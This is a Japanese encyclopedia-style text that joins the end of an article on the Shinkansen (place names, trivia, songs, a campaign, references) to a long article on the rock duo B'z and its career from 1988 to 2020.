[[東京都]][[国分寺市]]の[[鉄道総合技術研究所]]のある場所の地名は「光町」である。国分寺市が1966年に町名整理を行った際、同研究所での新幹線開発と1964年の東海道新幹線開業を記念し、列車愛称「ひかり」にちなんで旧地名の平兵衛新田から改称したものである。由緒ある旧地名のため研究所は地元市民との交流の機会にもなっている一般公開を「平兵衛まつり」と名付けている。
=== 送電線名における「新幹線」 ===
鉄道路線ではなく、[[電線路|送電線]]の名称に「新幹線」と付けられたものがある。例として、猪苗代新幹線・飛騨新幹線等があり、いずれも東海道新幹線が開通する[[1964年]](昭和39年)よりはるか以前の[[大正]]末期から[[昭和]]初期に開通しており、「新幹線」の語を最初に使ったのは旧国鉄ではなく[[電力会社]]である。
=== イベント列車 ===
[[File:JRshikoku tetsudo hobby train kiha32 3.jpg|thumb|0系新幹線を模した「鉄道ホビートレイン」]]
新幹線が走っていない[[四国旅客鉄道]](JR四国)では、2014年より[[予土線]]で[[国鉄キハ32形気動車|キハ32形気動車]]を改造した“新幹線風の”車両「[[国鉄キハ32形気動車#イベント用改造車|鉄道ホビートレイン]]」が走っている。[[非電化]]区間を走行するために、モーターではなく、[[ディーゼルエンジン]]を動力にしている。車内には[[新幹線0系電車|0系]]風の転換座席を2脚設置したほか鉄道模型も展示されている。また、汽笛は新幹線のものと同じ音が鳴る。
== 新幹線を題材にした曲 ==
{{節スタブ}}
{{See also|東海道新幹線#開業記念歌}}
* 『はしれちょうとっきゅう』(作曲:[[湯浅譲二]]、歌・作詞:[[山中恒]])
* 『[[ヤッホー!しんかんせん]]』(作詞:[[伊藤アキラ]]、作曲:[[SHIKAMON]]、歌:[[おがわみと]]) - [[フジテレビジョン|フジテレビ]]「[[ひらけ!ポンキッキ]]」
* 『[[新幹線でゴー!ゴ・ゴー!]]』(作詞:[[青島利幸]]、作曲:[[赤坂東児]]、歌:[[横山だいすけ]]・[[三谷たくみ]]) - [[NHK教育テレビジョン|NHK教育]]「[[おかあさんといっしょ]]」2011年6月の[[おかあさんといっしょの今月の歌|今月の歌]]
* 『GO SHINKANSEN!』(CHERRY & LUKE) - 日本では「[[SUPER EUROBEAT]] VOL.202」に収録されている。
* 『ひかり』(作詞:[[百田夏菜子]]([[ももいろクローバーZ]])、作曲:[[岡田実音]]・百田夏菜子、歌:百田夏菜子) - 東海道新幹線に乗車中の心情を表現しており、歌詞の中に「ひかり」「のぞみ」「こだま」が登場する<ref>{{Cite web|和書|title=百田夏菜子【LIVE】ひかり(from 百田夏菜子ソロコンサート『Talk With Me ~シンデレラタイム~』)|url=https://www.youtube.com/watch?v=evKxum0aumI|website=YouTube |accessdate=2022-7-12}}</ref>
* 『岡山恋唄(新幹線は岡山まで)』(作詞:[[千家和也]]、作曲:[[田辺信一]]、歌:[[ありま双兵]])
== キャンペーン ==
[[東北新幹線]]の[[八戸駅]] - [[新青森駅]]間開通(2010年12月4日)、および[[九州新幹線]]の[[博多駅]] - [[新八代駅]]間開通(2011年3月12日)に合わせて、[[北海道旅客鉄道]](JR北海道)・[[四国旅客鉄道]](JR四国)も含むJRグループ旅客6社共同企画として、2010年12月15日より2011年3月31日まで『THE 新幹線』キャンペーンが行われた。キャッチフレーズは「日本とともに、走り続ける夢がある」。期間中は、新幹線の駅などをチェックポイントとし、[[携帯電話]]の[[グローバル・ポジショニング・システム|GPS]]機能を活用したモバイルラリー「“THE 新幹線”ポイントラリー『日本列島縦断 チャレンジ新幹線!』」や、JRグループの鉄道・旅行情報サイト「[[トレたび]]」でのスペシャルサイトの開設などが行われた。
== 脚注 ==
{{脚注ヘルプ}}
=== 注釈 ===
{{Reflist|group="注"|2}}
=== 出典 ===
{{Reflist|2}}
== 参考文献 ==
(著者・編者等の五十音・アルファベット順)
* {{Cite book|和書|author = 青田孝|authorlink = |coauthors = |year = 2009|title = ゼロ戦から夢の超特急 小田急SE車世界新記録誕生秘話 |publisher = [[交通新聞社]]|ref = 青田2009|id = |isbn = 978-4330105093}}
* {{Cite book|和書|author= 生方良雄|authorlink=生方良雄|coauthors = [[諸河久]]|year = 1981|title = 日本の私鉄5 小田急|publisher = [[保育社]]|ref = 生方1981|id = 0165-508530-7700|isbn = }}
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| author= 岡山惇|authorlink=岡山惇
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| date = 1985年9月
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| title = [[図解雑学シリーズ|図解雑学]] くわしくわかる新幹線のしくみ
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| date = 2009年7月
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| author1=川島令三|authorlink1=川島令三|author2=岡田直|authorlink2=岡田直
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| publisher = [[PHP研究所]]
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== 外部リンク ==
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6,835 | B'z | B'z(ビーズ)は、ギタリストの松本孝弘とボーカリストの稲葉浩志からなる日本のロックユニットである。所属事務所はVERMILLION。所属レーベルはVERMILLION RECORDS。公式ファンクラブは「B'z Party」。
1988年にシングル『だからその手を離して』とアルバム『B'z』の同時発売でデビュー。1990年発売の5thシングル『太陽のKomachi Angel』で初のオリコンチャート1位を獲得し、同年発売の4thアルバム『RISKY』、1991年発売の8thシングル『LADY NAVIGATION』が初のミリオンセラーになるなど作品が次々とヒットしており、これまでにシングル15作品、アルバム19作品がミリオンセラーとなっている。中でも、1998年発売のベスト・アルバム『B'z The Best "Pleasure"』は日本国内の音楽史上で初めて売上枚数が500万枚を突破したほか、同年発売の『B'z The Best "Treasure"』との2作品合計で約1000万枚の売上枚数を記録している。2007年にはアジア圏のミュージシャンとしては初めて「ハリウッド・ロックウォーク(英語版)」に殿堂入りした。2008年にはギネス世界記録から「日本でもっともアルバムを売り上げたアーティスト」の認定を受けている。
1989年から「LIVE-GYM」と冠するライブは、これまでに日本国内のライブハウスからスタジアム、日本国外までの様々な会場で開催しているほか、各種音楽イベントにも出演している。
「B'z」の名称についてメンバーはインタビューなどで「深い意味はない」としているが、「現代的な記号のようなものがいい」というものがあり、企業ロゴのように意匠化しやすいものを求めていた。
これまでにB'zの2人が説明している名前の由来は一貫しておらず曖昧なものが多く、2012年のインタビューで松本は「昔は適当に答えていた」と述べている。これまでの説明としては、下記が挙げられる。
ビーイング創業者である長戸大幸によると、バンドを作る度に商標を取らなくてはならないことが大変であり、当時は「JT」(日本たばこ産業)や「JR」(旧日本国有鉄道の民営化に伴うグループの総称・略称)などのネーミングが世の中に出てきた頃であったため、当初はユニット名を「A'z」(アズ)にしようとした。ところが、同時期にロート製薬の「AtoZ」がテレビCMで頻繁に流れていたので、周囲から「ロート製薬からとったでしょ」と言われるようになったので、「A'z」でのテスト盤をすべて止めて「B'z」にしたと述べている。
「B'z」の発音については、世間的に抑揚をつけない平板な読み方の「ビーズ」(例えば「リール」「レール」に近いもの)が一般的になっているが、本人たちや関係者は「ビィズ」と「ビ」にアクセントを置いて読んでいる(例えば「プール」「シール」に近いアクセント)。
平板な発音の方が一般に定着した理由について、NHK放送文化研究所は「(NHKの)番組内での発音については、責任者が決めている」と前置きした上で、「ギター、ドラマ、映画、ディレクター。こういった言葉は、かつては頭を高くした発音がされていたと思うのですが、今は平たく言うほうが主流ですね。日本語の習性として、言葉が出来て、馴染みが薄いときには頭にアクセントを置く、そしてその言葉が口をついて出る回数が増えるにつれ、どんどん後ろに移動して、落ち着いていくというものがあります。「ビーズ」と平べったい発音になるのは、自然の流れなのではないか」との見解を述べている。
オフィシャルウェブサイト「BIOGRAPHY」を参照。
当初、松本は少人数のバンドを結成する計画でメンバーを探していたが、納得できるメンバーに巡り会えない状況が続いていた。そのような中で稲葉と出会って2人組の音楽ユニット「B'z」を結成したが、松本は「ボーカルとギターという極めてアナログ的な楽器の可能性を広げていくため、コンピューターや色々な新しい機材と対比しながら共存していけたら」と述べており、「僕が曲を書いて彼(稲葉)が詞を書いて、歌ってギター弾いて、それで十分音楽は創ることが出来るので、敢えて他のメンバーは入れなかった」としている。
当時の日本国内の音楽シーンはいわゆる「バンドブーム」の真っ只中であり、B'zのデビューは異色でもあった。このことについて、松本は「セッションミュージシャンとして限界に来てて、グループをやるタイミングだと思って動き出しただけで、バンドブームとは関係のないところにいたから」と述べている。一方、ライブについて松本は「コンピューターだけではライブの良さを出せるとは思ってないから、良いサポートミュージシャンを選びたい」と語っている。
活動初期は打ち込みにハードなギターを合わせた音楽スタイルであり、TM NETWORKに近いサウンドであった。当時について松本は「B'zの初期は、確かに(自分がサポートメンバーとして参加していた)TMの流れを汲んでいた」、「TMから始まったものが当時の僕のスタイルの一部にはなっていると思う」、「B'zの初期はテッちゃん(小室哲哉)の影響が大きかった」と述べ、プロデューサーの長戸大幸からして、当初は「TMのメンバーに似た容姿のバンドマン同士を組ませて、新しいグループを作る」というコンセプトありきの企画ユニットだった。
しかし、松本と稲葉は好きなギタリストやシンガー、これからやりたいことが似ていたこともあり、ノリのある8ビートにロックな部分を残し、打ち込みで人間的なノリを出すことにこだわり始めたことで音楽性がガラッと変わっていくことになる。活動初期とは打って変わり、レコーディングやツアーを重ねるごとにロック色が強い作品を発表するようになり、サポートメンバーを含めたバンド感を出すようになっていく。
そして、ハードロックをベースとしながらもアコースティック、ブルース、ジャズ、ソウル、サイケデリック、ファンク、ヘヴィメタル、レゲエ、ラテン、マーチ、歌謡曲など様々な音楽ジャンルを作品に取り入れている。
日本国内のいわゆる「J-POP」の中でハードロックをベースにチャート上位を狙いながら活動しているのはB'zくらいしかいないと言われている。
B'zの曲は作詞を稲葉、作曲を松本が担当している。B'z結成当初から曲については「自分たちでなんとかしよう」ということがあり、自然な流れでギターの松本が作曲でボーカルの稲葉が作詞になった。ところが、2人ともB'zが始まってから本格的な作詞・作曲の創作活動を行ったため、1stアルバム『B'z』では「Nothing to Change」の作詞を亜蘭知子、「孤独にDance in vain」の作曲を大槻啓之が担当しており、松本は「当時はあれが限界だった」と述べている。また、稲葉は日本語で歌詞を書くことや日本語で歌うことに抵抗があったため、はじめは作詞に苦慮する日々が続いた。
基本的には松本が作るメロディやギターのリフなど断片的なものから始まり、後から歌詞を書くいわゆる「曲先」で制作しているが、すでにストックしてある詞やメロディを当てはめて制作していく場合もある。松本は浮かんだアイデアをボイスレコーダーや携帯電話に録音し、近くにギターがなければ歌だけで録音することがある。稲葉も思いついたものをメモに取ったり携帯電話に録音している。また、稲葉はB'zの曲の作詞に関して松本が奏でるメロディや音色から言葉を喚起することが多々あるとも述べている。編曲に関して当初は明石昌夫が単独で行い、1stミニ・アルバム『BAD COMMUNICATION』の頃から松本と明石でベーシックなものを制作してから稲葉が詞を書いていくという手法で行っていたが、6thアルバム『RUN』では制作途中までツアーメンバーでレコーディングしている。7thアルバム『The 7th Blues』レコーディングの頃から稲葉がスタジオ作業に具体的な興味が湧いてきたと述べており、8thアルバム『LOOSE』レコーディングからは稲葉が制作当初から参加するようになり、16thシングル『ねがい』で稲葉が初めて編曲にクレジットされた。また、B'zの2人をはじめサポートメンバー、ディレクターなどがアレンジに意見し、出たアイデアを音にして具現化するようにしているほか、デモテープを複数のアレンジャーに渡して良いアレンジを採用するような場合もある。
レコーディングは松本のギター・ソロや稲葉のボーカル録りを個別に行っており、松本は歌詞に関しても稲葉の歌入れ後に初めて聞くことが多い。松本のギター・ソロのレコーディングは、何通りか弾いた中からフレーズが決まってくると、いくつかのフレーズをミックスして弾く場合が多いと述べている。レコーディング場所はロサンゼルスと東京で行うことが多く、制作などのスタジオ作業はロサンゼルスや東京のほかにニューヨーク、ハワイ、沖縄、福岡、大阪などで行ったことがある。また、かつてはアメリカの制作過程や作業を学ぶためロサンゼルスに渡り、アンディ・ジョーンズ(英語版)をプロデューサーに迎えてレコーディングを行ったことがあり、20thシングル『Real Thing Shakes』として発売するなど、外部のプロデューサーを起用して曲づくりをする場合もある。
「B+U+M」はかつてのB'zの音楽制作集団であり、名称は「B'z Unreal Music」のイニシャルに由来している。ギターの松本孝弘とボーカルの稲葉浩志で構成しているB'zであるが、「自分たちだけでは実現できない音楽を実現する」という目的で「B+U+M」を結成しており、B'zの曲の制作やライブサポートなどの活動を行っていた。1990年発売の3rdアルバム『BREAK THROUGH』収録の「B・U・M」には「Here we are B'z & the Funky Crew」という「B+U+M」を示唆する歌詞があり、同年発売の4thシングル『BE THERE』で初めてクレジットしている。なお、1990年11月16日にはB'zのマネジメントオフィスとして「B.U.M」を設立しており、2001年には「B.U.M」を継承した「VERMILLION」を設立している。その後、「B'zは2人である」というメリットを有効に活用するため、1994年発売の15thシングル『MOTEL』制作を最後に「B+U+M」を解体した。
「B+U+M」の解体については1994年開催の『B'z LIVE-GYM '94 "The 9th Blues"』ツアー中に松本が稲葉に話をするなどし考えていたという。当初はスタッフを含めB'zを取り巻く環境をずっと変えないで行こうと思っていたが、それが良くない方向に現れ一度解体してバラすことが必要であったと1995年のインタビューで松本が述べている
音楽制作会社のビーイングに所属して浜田麻里やTM NETWORKなどのバックバンドやスタジオ・ミュージシャンなどとして活動していたギタリストの松本孝弘は、「自分自身の音楽を表現できるバンドをつくる」という構想を実現するため、バンド結成に向けた活動を開始していた。音楽雑誌においてあるボーカリストとバンドを組むことを公表した時もあったが、結局デビューには至らなかった。
1988年5月、松本はビーイング社長であり音楽プロデューサーでもあった長戸大幸から1本のデモテープを渡された。そのデモテープには「Being音楽振興会」(後のBeing Music School)に所属していた稲葉浩志が、T-ボーン・ウォーカーの「T-BORN SHUFFLE」、レッド・ツェッペリンの「YOU SHOOK ME」、ビリー・ジョエルの「Honesty」を歌ったものが録音されていた。この頃の長戸は、「稲葉を何とかしたい、早くデビューさせたい。」との思いを抱いていた。歌声を聞いた松本は稲葉をボーカルに採用することを決め、長戸を介して2人は初めて会うことになった。松本は当時について、「デモも聞いたし、写真も見たし、(稲葉と会う前から)自分は心が決まっていた」、「後は『いい人』であってくれと願っていた」と振り返っている。
翌々日に当時六本木にあった録音スタジオ「SOUND JOKER」にてビートルズの「Let It Be」、「Oh! Darling」をセッションした。ところがアンプの故障によりセッションは2曲で終了したため、松本曰く「ものの10分くらいですぐ決まった」と述べている。そして、ユニット名を「B'z」として1988年9月21日にシングル『だからその手を離して』とアルバム『B'z』の同時発売でデビューした。アルバムのキャッチコピーは「最先端から加速する」。初めての出会いからデビューに至るまでが約4か月と短期間であり、信頼関係や友情がないままデビューに向けての活動が始まっていたため、稲葉によると「これまで松本さんから『一緒にバンドやろう』と言われたことはない」と述べている。
松本によると、当時のレコード会社は「アルバム発売3枚までにブレイクさせよう」という方針であり、B'zを始めた時から「売れなければ意味がない」という意識が高く、「どうしたら売れるか?」ということを考えていたという。稲葉には「(当時一番売れていた音楽雑誌)『ギターブック/GB』の表紙を目指す」、「(週刊ランキング誌)『オリコン』の(1位から50位までが掲載されている)左ページに載る」といったB'zの「3ヵ年計画」を語ったという。なお、初期のプロデューサーは中島正雄であり、松本のトータル・プロデュースとなった後は「スーパーバイザー」としてクレジットしていた。
デビュー1年目は音源を制作してリリースすることで話題を繋いでいこうという戦略であり、当時の松本には「アルバムを少なくとも2枚出すまで絶対ツアーをやらない」、「ライブハウスからではなく、はじめからホール展開でやっていく」というビジョンがあった。その代わりにヤマハのモニターを務めていた松本が「ギター・セミナー」を開催し、セミナー後には同行していた稲葉とともにB'zを披露するキャンペーンで全国各地を回った。この頃、松本はまだTM NETWORKのツアーに参加するスケジュールが残っており、コンサートの前後にセミナーを開催する時もあった。
B'zが初めて観客の前でライブを披露したのは、1989年にTM NETWORKやFENCE OF DEFENSEとの音楽イベントにオープニングアクトとして出演した時であり、松本は初めて稲葉がライブで歌っているのを横でギターを弾きながら見た時に、「『これは絶対にいけるな』と思った」と述べている。2ndアルバム『OFF THE LOCK』発売後、初の単独ライブ『B'z LIVE-GYM #00 "OFF THE LOCK"』を東名阪の3ヵ所で開催した。3rdアルバム発売前に実験的な試みで発表した1stミニ・アルバム『BAD COMMUNICATION』がロングセラーを続ける中、1990年発売の3rdアルバム『BREAK THROUGH』がオリコンチャート初登場3位となりトップ10入りを果たした。
これまではアルバムとシングルを同時発売していたが、4thシングル『BE THERE』を単独発売しシングルでもオリコンチャートトップ10入りを果たした。なお、このシングルから収録曲の表記を「1st beat」、「2nd beat」としているほか、音楽制作集団「B+U+M」をクレジットしている。続く5thシングル『太陽のKomachi Angel』で初のオリコンチャート1位を獲得すると、4thアルバム『RISKY』は初のアルバムチャート1位とミリオンセラーを達成した。この年はシングル5枚、オリジナル・アルバム2枚、ミニ・アルバム1枚、ビデオ1作品を発表しており、毎月のように各音楽雑誌が紙面に取り上げ、表紙を飾ることもできた。1991年発売の8thシングル『LADY NAVIGATION』ではシングル初のミリオンセラーを達成した(なお、「LADY NAVIGATION」から1996年発売の20thシングル『Real Thing Shakes』まで13作品連続ミリオンセラーになっている)。また、1991年はそれまでに発表した曲の中から人気曲などを演奏する『B'z LIVE-GYM "Pleasure '91"』を開催した年であり、以後シリーズ化していく。5thアルバム『IN THE LIFE』発売後、翌年にかけて『B'z LIVE-GYM '91-'92 "IN THE LIFE"』を開催した。
1992年の『B'z LIVE-GYM Pleasure '92 "TIME"』ではアリーナクラスの会場に「STAR FISH」と名づけられた可動式の照明トラスを持ち込み、360度全方向に客席を設けた。この年は10thシングル『BLOWIN'』と11thシングル『ZERO』、6thアルバム『RUN』と4thミニ・アルバム『FRIENDS』を発売している。1993年は『B'z LIVE-GYM '93 "RUN"』を開催し、ツアー中に12thシングル『愛のままにわがままに 僕は君だけを傷つけない』と13thシングル『裸足の女神』を発売した。夏にはB'z初の野外ライブ『B'z LIVE-GYM Pleasure '93 "JAP THE RIPPER"』を渚園(静岡県弁天島海浜公園)で2日間開催した。
1994年、14thシングル『Don't Leave Me』発売日から『B'z LIVE-GYM '94 "The 9th Blues"』を開催し、合計で1年を通して87本のライブを行った。また、初のCD2枚組になった7thアルバム『The 7th Blues』発売日には、全国31紙の新聞に音楽業界初となる全30段フルカラー2ページの広告展開を実施した。15thシングル『MOTEL』発売を最後に制作チーム「B+U+M」を解体した。
1995年、16thシングル『ねがい』を発売し、17thシングル『love me, I love you』発売日から『B'z LIVE-GYM Pleasure '95 "BUZZ!!"』がスタートし、スタジアムクラスの会場を中心に開催した。ツアーで未発表曲として披露した「LOVE PHANTOM」を18thシングルとして発売した。「B'zは2人である」という原点に立ち返って制作した8thアルバム『LOOSE』は売上枚数が300万枚に達した。1996年は19thシングル『ミエナイチカラ 〜INVISIBLE ONE〜/MOVE』発売後、『B'z LIVE-GYM '96 "Spirit LOOSE"』を開催。ツアーで披露していた全編英語詞の「Real Thing Shakes」を20thシングルとして発売した。
1997年、21stシングル『FIREBALL』発売後に『B'z LIVE-GYM Pleasure '97 "FIREBALL"』を開催し、ナゴヤドームのこけら落し公演を含むドームツアーとなった。日本のミュージシャンでは初となる東京・名古屋・大阪・福岡の4大ドーム公演の実施であった。ツアーで未発表曲として披露した「Calling」は大幅なアレンジを経て22ndシングルとして発売した。9thアルバム『SURVIVE』発売後、1998年から『B'z LIVE-GYM '98 "SURVIVE"』を開催した。デビュー10周年となったこの年に発売した初の公式ベスト・アルバム『B'z The Best "Pleasure"』は、当時の初週売上枚数を更新する270万枚を記録すると、さらに売上枚数を増やして日本国内の音楽史上初となる売上枚数500万枚を突破した。また、『Pleasure』に封入していたはがきによるリクエストで収録曲を決定したベスト・アルバム『B'z The Best "Treasure"』も400万枚を超える売上枚数となって2作品合計の売上枚数が約1000万枚を記録した。
1999年、前年に発売したベスト・アルバムのセールスなどにより『日本ゴールドディスク大賞』の「アーティスト・オブ・ザ・イヤー」をはじめとする各賞、『ワールド・ミュージック・アワード』の「World Selling Japanese Artist of The Year」を受賞した。ソロ活動を経て26thシングル『ギリギリchop』を発売、10thアルバム『Brotherhood』収録の「ギリギリchop(Version 51)」にはMR. BIGからビリー・シーンとパット・トーピーが参加している。また、以前から面識のあったスティーヴ・ヴァイのレコーディングに参加し、『The Ultra Zone』収録の「ASIAN SKY」を制作している。『B'z LIVE-GYM '99 "Brotherhood"』の横浜公演はコンサート初開催となる横浜国際総合競技場を使用した。
2000年、27thシングル『今夜月の見える丘に』、マスト・アルバムとして『B'z The "Mixture"』を発売。ニッポン放送のラジオ番組『B'zの@llnightnippon.com』に出演した際は、インターネット中継の同時アクセス数が14,600ストリームに達し、当時の日本記録を更新した。29thシングル『juice』のミュージック・ビデオは札幌での「ゲリラライブ」形式で撮影した。『B'z LIVE-GYM Pleasure 2000 "juice"』では、8月9日の千葉マリンスタジアムでのライブが激しい雨と落雷によって急遽内容を短縮して終了する事態となった。同年には11thアルバム『ELEVEN』発売した。
2001年は31stシングル『ultra soul』発売後に『B'z LIVE-GYM 2001 "ELEVEN"』を開催し、コンサート初開催となる札幌ドームでは32ndシングル『GOLD』のミュージック・ビデオを撮影した。また、この年はB'z初の海外公演を台北と香港で開催した。
2002年、『2002 FIFAワールドカップ』開催に伴い発売されたコンピレーション・アルバム『2002 FIFA World Cup Official Album』Songs of KOREA/JAPAN盤に「DEVIL」で参加し、東京スタジアムで開催した国際サッカー連盟初のオフィシャル・コンサート『2002 FIFA World Cup KOREA/JAPAN Official Concert International Day』に出演した。Wアンコールではエアロスミスとともに「Train Kept A Rollin'」を披露した。また、12thアルバム『GREEN』を発売後に『B'z LIVE-GYM 2002 "GREEN 〜GO★FIGHT★WIN〜"』を開催したほか、初のアメリカ公演『B'z LIVE-GYM 2002 "Rock n' California Roll"』をサンディエゴとロサンゼルスで開催した。なお、この年のサポートメンバーはベースにビリー・シーンが参加した。冬には初のバラード・ベスト・アルバム『The Ballads 〜Love & B'z〜』を発売した。
2003年、34thシングル『IT'S SHOWTIME!!』発売と同時に4thシングル『BE THERE』から13thシングル『裸足の女神』までのシングル10作品をマキシシングル化して再発売し、オリコン週間シングルチャートトップ10に9作品がランクインした。6月9日、特別番組の収録で六本木ヒルズアリーナにてゲリラライブを行った。『B'z LIVE-GYM The Final Pleasure "IT'S SHOWTIME!!"』最終公演は10年ぶりとなる渚園(静岡県弁天島海浜公園)で開催し、デビュー15周年を迎えた。10月10日に放送された特別ドラマ『生放送はとまらない!』内の演奏シーンで出演。前年に続き海外公演『B'z LIVE-GYM 2003 "BANZAI IN NORTH AMERICA"』をアメリカとカナダの西海岸5都市で開催し、日本国内では5大ドームを含むツアー『B'z LIVE-GYM 2003 "BIG MACHINE"』を開催した。
2004年はソロ活動がメインとなったが、36thシングル『BANZAI』、37thシングル『ARIGATO』を発売している。
2005年、38thシングル『愛のバクダン』と14thアルバム『THE CIRCLE』発売後に『B'z LIVE-GYM 2005 "CIRCLE OF ROCK"』を開催し、アリーナ公演からはB'z初となる円形ステージを採用した。39thシングル『OCEAN』のミュージック・ビデオは史上初となる海上保安庁の巡視船(みずほ)を使用しての撮影となった。アップルコンピュータ(現在のApple)による日本国内でのiTunes Music Store(現在のiTunes Store)サービス開始に伴って楽曲の配信を開始し(一部の曲を除く)、配信限定のボックス・セット『The Complete B'z』をリリースした(現在は配信停止)。また、同年に発売したベスト・アルバム『B'z The Best "Pleasure II"』では、iTunesから初公開のライブ映像1曲がダウンロードできる購入特典があった。
2006年は15thアルバム『MONSTER』発売後に5大ドームを含むツアー『B'z LIVE-GYM 2006 "MONSTER'S GARAGE"』を開催した。また、ライブ映像配信事業の「Network LIVE」(当時)に初の日本人アーティストとして参加し、映像収録のためのライブを行った。
2007年はB'zとしては初のロック・フェスティバル出演となる『SUMMER SONIC 07』に出演した。また、デビュー20年目を迎えるに当たり、アジア圏のミュージシャンとしては初めて「ハリウッド・ロックウォーク(英語版)」に殿堂入りし、ハリウッドのギター・センターで記念セレモニーが行われた。16thアルバム『ACTION』を発売し、2008年に『B'z LIVE-GYM 2008 "ACTION"』を開催した。また、ベスト・アルバム『B'z The Best "ULTRA Pleasure"』とインターネットからのリクエストによって収録曲を決定したベスト・アルバム『B'z The Best "ULTRA Treasure"』を発売し、5年ぶりとなるPleasureシリーズ『B'z LIVE-GYM Pleasure 2008 -GLORY DAYS-』を開催した。
2009年、46thシングル『イチブトゼンブ/DIVE』を発売。ドラムスにはレッド・ホット・チリ・ペッパーズのチャド・スミスが参加した。『B'z SHOWCASE 2009 -B'z In Your Town-』開催後には『SUMMER SONIC 09』に出演した。47thシングル『MY LONELY TOWN』のミュージック・ビデオやジャケット写真は端島(通称「軍艦島」)で撮影した。17thアルバム『MAGIC』発売し、翌年に『B'z LIVE-GYM 2010 "Ain't No Magic"』を開催した。ツアー後の表立った活動はソロがメインとなった。
2011年、ペプシコーラ「ペプシネックス」TVCMキャラクターに起用され、B'z初のCM出演となった。CMには「エフェクト」篇・「荒野」篇で「さよなら傷だらけの日々よ」を使用し、夏には「People」篇で18thアルバム『C'mon』からタイトル曲「C'mon」、冬には「Xmas Lover」篇で「いつかのメリークリスマス」を使用した。3月11日の「東日本大震災」発生に伴い、被災者支援のためにリンキン・パークが設立した「Music For Relief」によるダウンロード販売のコンピレーション・アルバム『Download to Donate: Tsunami Relief』に参加し、「Home」を提供した。また、8年ぶりとなる海外公演『B'z LIVE-GYM 2011 -long time no see-』をカナダとアメリカの3都市で開催した後、ロサンゼルスで行った「Music For Relief」による被災者支援のためのシークレット・ライブ『Music for Relief - Secret Show for Japan』に出演した。『B'z LIVE-GYM 2011 -C'mon-』では最初の開催地となった宮城公演の収益全額を復興支援に寄付し、全公演でチャリティーグッズを販売した。
2012年も引き続き「ペプシネックス」のCMに出演し、CMには「Tshirts Live」篇で「GO FOR IT, BABY -キオクの山脈-」を使用したほか、夏には「Summer Line」篇で配信限定アルバム『B'z』から38thシングル「愛のバクダン」を英語詞で新たにレコーディングした「Love Bomb」を使用した。また、カプコンのゲームソフト『Dragon's Dogma』主題歌となった24thシングル「さまよえる蒼い弾丸」を英語詞で新たにレコーディングした「Into Free -Dangan-」を配信限定シングルとしてリリースしたほか、キム・ヒョンジュンにはB'zとしては初の楽曲提供となる「HEAT」を書き下ろした。『B'z LIVE-GYM 2012 -Into Free-』はアメリカとカナダの7都市で開催し、追加公演として日本国内4都市で『B'z LIVE-GYM 2012 -Into Free- EXTRA』を開催した。
2013年のデビュー25周年には、それまでに発表した50枚のシングル曲を収録したベスト・アルバム『B'z The Best XXV 1988-1998』と『B'z The Best XXV 1999-2012』を同時発売し、『B'z LIVE-GYM Pleasure 2013 -ENDLESS SUMMER-』を開催した。また、QVCマリンフィールドで開催した『AEROSONIC』では11年ぶりにエアロスミスと共演し、ともに「Mama Kin」を披露した。
2014年はソロ活動となり、B'zとしては年末から2015年の年始にかけて複数の音楽番組に出演し、51stシングル『有頂天』を披露した。19thアルバム『EPIC DAY』発売後に『B'z LIVE-GYM 2015 -EPIC NIGHT-』を開催し、全国のZepp会場で追加公演を行ったほか、大阪心斎橋のミュージックバー「ROCKROCK」のオープン20周年記念ライブイベントに出演し、LOUDNESSと共演した。また、当時ニューヨーク・ヤンキースから古巣の広島東洋カープに復帰した黒田博樹のために、MAZDA Zoom-Zoom スタジアム広島(マツダスタジアム)での登場曲「RED」を書き下ろした。
2016年はソロ活動がメインではあったが、配信限定シングル『世界はあなたの色になる』、『フキアレナサイ』をリリースした。2017年、稲葉はスティーヴィー・サラス、松本はダニエル・ホー(英語版)とコラボレーションしたアルバムをそれぞれ発売してツアーを開催した。その後、B'zとして53rdシングル『声明/Still Alive』を発売し、8年ぶりのIn Your Townシリーズとなる『B'z SHOWCASE 2017 -B'z In Your Town-』を開催。また、ロック・フェスティバル『ROCK IN JAPAN FESTIVAL』と『ライジング・サン・ロックフェスティバル』に初出演した。フィジカル・リリースとしてはB'z初のボックス・セット『B'z COMPLETE SINGLE BOX』発売を発表し、セブン-イレブンとコラボレーションした完全予約受注生産【Trailer Edition】の販売や「B'z×セブン-イレブンフェア」を展開した。デビュー30周年の一環となるイベント『B'z Loud-Gym』を47都道府県のライブハウスで翌年9月まで月1回開催。20thアルバム『DINOSAUR』発売後、翌年にかけて『B'z LIVE-GYM 2017-2018 "LIVE DINOSAUR"』を開催した。
2018年には、デビュー30周年を記念した初の大型エキシビション(展覧会)『B'z 30th Year Exhibition "SCENES" 1988-2018』を前期(1988-2002)と後期(2003-2018)に分けて開催し、会場内で上映した映像を全国の映画館で順次公開したほか、約5年ぶりのPleasureツアー『B'z LIVE-GYM Pleasure 2018 -HINOTORI-』を開催した。
前年のツアー終了直後に翌年のアルバム発売とツアー開催を予告しており、21stアルバム『NEW LOVE』発売前の元号が平成から令和に変わった5月1日から渋谷スクランブル交差点前にある東急百貨店の壁面に「平成 Thanks!」「令和 Welcome!」の巨大看板を3日間限定で公開した。アルバム発売後に『B'z LIVE-GYM 2019 -Whole Lotta NEW LOVE-』を開催し、7月6日の大阪公演でLIVE-GYMの通算公演数が1000回となった。また、ツアー最終日の福岡公演を日本国内と台湾の映画館で生中継するライブビューイングを行った。ツアーの合間には10年ぶりとなる『SUMMER SONIC 2019』に出演し、日本人アーティストではサマーソニック初となるヘッドライナーを務めた。
2020年、新型コロナウイルスの感染拡大による緊急事態宣言の発出に伴い、『B'z LIVE-GYM -At Your Home-』と題して、これまでに発売した映像作品23本を4月13日からYouTubeの公式チャンネルで5月31日までの期間限定で公開した。4月27日には松本・稲葉によるリモートで「HOME」をセッションする動画を公開し、4月30日には『B'z LIVE-GYM 2019 -Whole Lotta NEW LOVE-』でのサポートメンバーを加えた「HOME」のバンドセッション動画を公開した。10月から11月にかけては、B'z初となる無観客配信ライブ『B'z SHOWCASE 2020 -5 ERAS 8820- Day1~5』を5週連続で開催した。これは、1988年のデビューから2020年までを5つの時代に分け、各公演が異なるセットリスト、ステージセットや演出も各公演で変更するといった内容であり、各メディアにおいて有料配信した。
